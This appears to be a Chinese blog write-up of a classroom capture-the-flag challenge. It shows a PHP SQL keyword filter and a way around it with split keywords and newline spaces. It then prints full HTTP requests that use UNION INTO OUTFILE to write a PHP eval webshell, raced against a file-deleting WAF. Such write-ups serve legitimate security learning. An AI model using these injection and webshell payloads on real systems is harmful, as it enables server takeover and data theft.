一道题目小记

实验班小伙伴出了一道题,每一步都有坑,很有趣。

先是一个登陆窗口,在/index.php中输入用户名密码,会把语句返回出来。TIP放出过滤的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

function filter($input){
while(preg_match('/(and|or|union|where|limit|group by|select|hex|substr)/i',$input)){
$input=preg_replace('/(and|or|union|where|limit|group by|select|hex|substr)/i','',$input);
}
$array=array("*"," ","-","0x");
foreach($array as $str){
$input=str_replace($str,"",$input);
}
return $input;
}

function filter_add($input){
$filter=preg_match('/(select.*into outfile)|(limit [0-9]+,[0-9]+)/i',$input);
if($filter){
die("<script>alert(\"emmmm...want to have a webshell?.\")</script>");
}
}

function filter_admin($input){
preg_match("/^[_0-9a-z]{4,25}$/i",$input) or die("<script>alert(\"Emmmmm...Your input is out of range or containing illegal parameter.\")</script>");
}
?>

过滤了select和where,没有多语句,没啥办法。经过小伙伴指点,发现过滤分为两次,所以用sel-ect就可以绕过了,空格用%0a。union或者报错都可以得到管理员账号密码,登陆后得到flag的第一部分。

flag的第二部分要求用mysql写shell,写shell可以用into outfile,或者多语句先修改log的位置,再写入shell,这道题用into outfile。.*用%0a绕过。写入之后提示your shell is detected。题目没有php的waf,而且有时候第一次访问可以访问,第二次就失败了,猜测是有其他waf在遍历文件。这种的用竞争在被删除内容之前访问就可以。本以为这题就这么做出来了,发现传上去的<?php system(‘ls’);?>变成了<?/php system(‘ls’);?>,导致php无法解析,这里我想到的方法是把<?php放到第一个注入点,两个注入点中间会自动形成一个空格,这样shell就可以用了。

由于burpsuite的intruder没法写shell和访问shell两个同时跑,就一个从1-1000.php的写入,一个10000-1.php访问,中间汇合的时候总可以访问到。

1
2
3
4
5
6
7
8
9
10
11
12
POST / HTTP/1.1
Host: 222.18.158.233:2003
User-Agent: Mozilla/5.0 (iPad; CPU OS 10_3_3 like Mac OS X) AppleWebKit/603.3.3 (KHTML, like Gecko) Version/10.0 Mobile/14G5037b Safari/602.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Referer: http://222.18.158.233:2003/
Connection: close
Upgrade-Insecure-Requests: 1

uname=-1'%0aUn-ion%0ase-lect%0a'<?php','eval("$_POST[1]");'%0ainto%0aoutfile%0a'/var/www/html/h§7§.php'#&passwd=a&submit=Submit
1
2
3
4
5
6
7
GET /h§7§.php HTTP/1.1
Host: 222.18.158.233:2003
User-Agent: Mozilla/5.0 (iPad; CPU OS 10_3_3 like Mac OS X) AppleWebKit/603.3.3 (KHTML, like Gecko) Version/10.0 Mobile/14G5037b Safari/602.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1

最后flag在 ../flag.txt中,cat出来即可。

问出题人得知自己是非预期解。waf在check时不允许php最后有分号,为了防止删除php,只需要不要在语句结束后加分号。另外<?php后面空格的绕过,要用\n。

做了大半天,每次都被虐,这种不怎么超出能力还不一下子能想出来的题做起来最爽了。

支持一下
扫一扫,支持forsigner